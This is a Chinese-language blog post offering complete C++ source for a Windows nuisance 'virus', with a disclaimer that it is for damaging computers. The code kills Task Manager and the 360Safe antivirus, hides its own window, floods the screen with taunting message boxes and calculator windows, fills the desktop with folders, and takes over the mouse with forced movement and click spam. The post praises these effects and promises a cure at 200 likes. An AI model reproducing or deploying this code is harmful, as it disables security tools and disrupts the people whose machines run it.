您现在的位置是:首页 >其他 >C++病毒网站首页其他

C++病毒

饼干帅成渣 2025-03-31 00:01:03
简介C++病毒

免费版请关注作者,私信

第一期

声明:

        仅供损害电脑,不得用于非法。

直接上代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
  	if (nCode == HCBT_ACTIVATE) {
    	HWND hMsgBox = (HWND)wParam;
        SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);
        UnhookWindowsHookEx(g_hHook);
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

string itos3(int n){
	int a,b,c;
	a=n/100;
	b=n%100/10;
	c=n%10;
	string s="";
	if(a!=0){
		char d=a+'0';
		s+=d;		
	}
	if(b!=0||(b==0&&a!=0)){
		char d=b+'0';
		s+=d;
	}
	if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){
		char d=c+'0';
		s+=d;
	}
	return s;
}

struct vir{
	struct wenjian{
		void xingshi(){
			system("taskkill /f /im taskmgr.exe");
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			if (hwnd){
				ShowOwnedPopups(hwnd, SW_HIDE);
			    ShowWindow(hwnd, SW_HIDE);
			}
			MessageBox(NULL,"新年新气象","古诗",MB_OK);
			MessageBox(NULL,"新年多上当","古诗",MB_OK);
			MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	
			MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	
			MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);
			MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);
			Sleep(2000);
			WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			
			HWND hw=FindWindow("360Safe.exe",NULL);
			if(hw!=NULL){
				ShowWindow(hw,SW_HIDE);
			}
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	
			Sleep(500);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			Sleep(4000);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);
			if (hwnd){
				ShowOwnedPopups(hwnd, SW_HIDE);
			    ShowWindow(hwnd, SW_SHOW);
			}
			ShowOwnedPopups(hwnd, SW_HIDE);
			ShowWindow(hwnd, SW_HIDE);			
			int ll=10000;
			while(ll--){
				int cx=GetSystemMetrics(SM_CXSCREEN);
				int cy=GetSystemMetrics(SM_CYSCREEN);
				SetCursorPos(rand() % cx,rand() % cy);
			}
		}
		void vira(){
			xingshi();
			int ll=100;
			while(ll--){
				system("start calc");
			}
			MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\Users\Administrator\Desktop\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);
			Sleep(20000);
			MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\Users\Administrator\Desktop\a";
				jj+=itos3(i);
				system(jj.data());
			}
			Sleep(20000);
			MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			
			int ii=100000;
			while(ii--){
				SetCursorPos(1,1);
			}
			MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);
			int iii=100000;
			while(iii--){
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
		}
	}wen;
}virus;

int main(){
	virus.wen.vira();
}

危害极大,建议损害电脑:

禁用任务管理器,隐藏程序,鼠标乱飞,100个cmd,桌面100文件夹,鼠标控制,鼠标连点,折磨心态

点赞破200,火树更新解药

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。